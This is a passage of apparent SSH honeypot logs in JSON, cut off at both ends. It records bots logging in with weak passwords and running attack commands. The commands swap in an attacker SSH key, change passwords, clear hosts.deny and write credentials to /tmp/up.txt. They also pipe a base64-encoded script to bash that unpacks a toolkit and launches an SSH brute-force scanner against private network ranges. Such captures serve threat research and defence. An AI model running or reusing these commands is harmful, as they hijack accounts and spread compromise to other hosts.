\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T04:19:17.315556+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-23T04:19:17.317174+00:00","kind":"output","latency_ms":null,"data":"reporting"}],"credentials":[{"username":"reporting","password":"reporting","method":"password","accepted":true,"tier":"other"}]} {"id":"0af38a76-50aa-4aa0-8784-af1dc7506ab5","name":"indigo-bronzed-grebe","protocol":"ssh","channel_kind":"exec","src_ip":"103.143.231.24","src_port":53226,"username":"smart","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":246,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T02:37:41.144862+00:00","ended_at":"2026-08-23T02:37:41.211971+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3326,"events":[{"seq":1,"at":"2026-08-23T02:37:13.541295+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T02:37:13.786097+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T02:37:17.703595+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T02:37:17.704091+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T02:37:17.951505+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nBQlRrj6rKOsl\\nBQlRrj6rKOsl\"|passwd|bash"},{"seq":6,"at":"2026-08-23T02:37:18.195899+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nBQlRrj6rKOsl\\nBQlRrj6rKOsl\\n\"|passwd"},{"seq":7,"at":"2026-08-23T02:37:18.440731+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T02:37:18.441301+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T02:37:18.690321+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T02:37:19.399310+00:00","kind":"output","latency_ms":708,"data":"15888 2416 10351 116 2980 0"},{"seq":11,"at":"2026-08-23T02:37:19.649101+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T02:37:20.427275+00:00","kind":"output","latency_ms":780,"data":"-rwxr-xr-x 1 root root 147K Apr 23 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T02:37:20.674774+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T02:37:20.675423+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T02:37:20.921872+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T02:37:20.922264+00:00","kind":"output","latency_ms":null,"data":" 02:37:20 up 2 days, 23:27, 0 user, load average: 0.15, 0.16, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T02:37:21.169354+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T02:37:21.169931+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T02:37:21.415243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T02:37:21.415693+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T02:37:21.665343+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T02:37:21.665820+00:00","kind":"output","latency_ms":null,"data":"top - 02:37:21 up 2 days, 23:27, 0 user, load average: 0.15, 0.16, 0.13\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T02:37:21.908134+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T02:37:21.908629+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T02:37:22.154993+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T02:37:22.155636+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T02:37:22.401898+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T02:37:22.402452+00:00","kind":"output","latency_ms":null,"data":"smart"},{"seq":29,"at":"2026-08-23T02:37:22.649052+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T02:37:23.472764+00:00","kind":"output","latency_ms":822,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T02:37:23.716628+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T02:37:24.123764+00:00","kind":"output","latency_ms":405,"data":"24G"},{"seq":33,"at":"2026-08-23T02:37:24.946626+00:00","kind":"input","latency_ms":null,"data":"echo \"smart 1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T02:37:25.190902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T02:37:25.665648+00:00","kind":"output","latency_ms":473,"data":""},{"seq":36,"at":"2026-08-23T02:37:26.028065+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T02:37:26.507413+00:00","kind":"output","latency_ms":479,"data":"BQlRrj6rKOsl"},{"seq":38,"at":"2026-08-23T02:37:26.753437+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T02:37:27.281767+00:00","kind":"output","latency_ms":527,"data":"BQlRrj6rKOsl"},{"seq":40,"at":"2026-08-23T02:37:27.527825+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T02:37:27.773066+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T02:37:28.432673+00:00","kind":"output","latency_ms":657,"data":"BQlRrj6rKOsl"},{"seq":43,"at":"2026-08-23T02:37:28.678006+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T02:37:29.575291+00:00","kind":"output","latency_ms":897,"data":"BQlRrj6rKOsl"},{"seq":45,"at":"2026-08-23T02:37:29.821196+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T02:37:30.327506+00:00","kind":"output","latency_ms":504,"data":""},{"seq":47,"at":"2026-08-23T02:37:41.146066+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T02:37:41.146578+00:00","kind":"output","latency_ms":null,"data":"smart"}],"credentials":[{"username":"smart","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"44209e3f-5412-4815-bc23-09522c1769d6","name":"oaken-cosmic-bluebird","protocol":"ssh","channel_kind":"exec","src_ip":"103.182.132.154","src_port":54508,"username":"jitendra","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":686,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T01:13:57.416629+00:00","ended_at":"2026-08-23T01:13:57.629315+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3956,"events":[{"seq":1,"at":"2026-08-23T01:13:16.032054+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T01:13:16.714702+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T01:13:23.255880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T01:13:23.256681+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T01:13:23.940497+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nwtasToTppcj6\\nwtasToTppcj6\"|passwd|bash"},{"seq":6,"at":"2026-08-23T01:13:24.624228+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nwtasToTppcj6\\nwtasToTppcj6\\n\"|passwd"},{"seq":7,"at":"2026-08-23T01:13:25.313779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T01:13:25.314496+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T01:13:25.995993+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T01:13:26.518733+00:00","kind":"output","latency_ms":522,"data":"15888 11234 4654 0 0 0"},{"seq":11,"at":"2026-08-23T01:13:27.203232+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T01:13:27.813760+00:00","kind":"output","latency_ms":609,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T01:13:28.498818+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T01:13:28.499582+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T01:13:29.186141+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T01:13:29.186617+00:00","kind":"output","latency_ms":null,"data":" 01:13:29 up 2 days, 22:03, 0 user, load average: 0.25, 0.27, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T01:13:29.871883+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T01:13:29.872235+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T01:13:30.558146+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T01:13:30.558699+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T01:13:31.242160+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T01:13:31.242763+00:00","kind":"output","latency_ms":null,"data":"top - 01:13:31 up 2 days, 22:03, 0 user, load average: 0.25, 0.27, 0.21\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T01:13:31.928998+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T01:13:31.930424+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T01:13:32.617773+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T01:13:32.618595+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T01:13:33.301079+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T01:13:33.301619+00:00","kind":"output","latency_ms":null,"data":"jitendra"},{"seq":29,"at":"2026-08-23T01:13:33.988274+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T01:13:35.163114+00:00","kind":"output","latency_ms":1176,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T01:13:35.849894+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T01:13:36.288448+00:00","kind":"output","latency_ms":438,"data":"24G"},{"seq":33,"at":"2026-08-23T01:13:38.483866+00:00","kind":"input","latency_ms":null,"data":"echo \"jitendra 12345678\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T01:13:39.170704+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T01:13:39.737599+00:00","kind":"output","latency_ms":564,"data":""},{"seq":36,"at":"2026-08-23T01:13:41.620238+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T01:13:42.455224+00:00","kind":"output","latency_ms":835,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T01:13:43.140912+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T01:13:43.688278+00:00","kind":"output","latency_ms":547,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T01:13:44.373583+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T01:13:45.058447+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T01:13:45.563130+00:00","kind":"output","latency_ms":504,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T01:13:46.249527+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T01:13:47.978740+00:00","kind":"output","latency_ms":1728,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T01:13:48.664836+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T01:13:49.118927+00:00","kind":"output","latency_ms":454,"data":""},{"seq":47,"at":"2026-08-23T01:13:57.418775+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T01:13:57.421471+00:00","kind":"output","latency_ms":null,"data":"jitendra"}],"credentials":[{"username":"jitendra","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"0844521b-6fe2-405e-8725-531adb115801","name":"thawing-jagged-condor","protocol":"ssh","channel_kind":"exec","src_ip":"213.91.234.180","src_port":54362,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":357,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T01:09:13.082039+00:00","ended_at":"2026-08-23T01:09:13.187119+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3866,"events":[{"seq":1,"at":"2026-08-23T01:08:45.040752+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T01:08:45.395998+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T01:08:49.371712+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T01:08:49.372337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T01:08:49.727529+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fWejyfoKTWdR\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T01:08:50.082837+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T01:08:50.384886+00:00","kind":"output","latency_ms":657,"data":""},{"seq":8,"at":"2026-08-23T01:08:50.439620+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T01:08:50.440285+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T01:08:50.796760+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T01:08:51.243488+00:00","kind":"output","latency_ms":445,"data":"15888 0 0 0 0 0"},{"seq":12,"at":"2026-08-23T01:08:51.601041+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T01:08:52.315942+00:00","kind":"output","latency_ms":714,"data":"-rwxr-xr-x 1 root root 142K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T01:08:52.673207+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T01:08:52.673893+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T01:08:53.032535+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T01:08:53.033062+00:00","kind":"output","latency_ms":null,"data":" 01:08:53 up 2 days, 21:59, 0 user, load average: 0.2, 0.21, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T01:08:53.391440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T01:08:53.391952+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T01:08:53.748137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T01:08:53.749103+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T01:08:54.107342+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T01:08:54.107889+00:00","kind":"output","latency_ms":null,"data":"top - 01:08:54 up 2 days, 21:59, 0 user, load average: 0.2, 0.21, 0.2\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T01:08:54.464444+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T01:08:54.464769+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T01:08:54.821653+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T01:08:54.822249+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T01:08:55.179290+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T01:08:55.179743+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T01:08:55.535963+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T01:08:56.645160+00:00","kind":"output","latency_ms":1107,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T01:08:57.001475+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T01:08:57.614874+00:00","kind":"output","latency_ms":612,"data":"25G"},{"seq":34,"at":"2026-08-23T01:08:58.885618+00:00","kind":"input","latency_ms":null,"data":"echo \"root minecraft1\" > 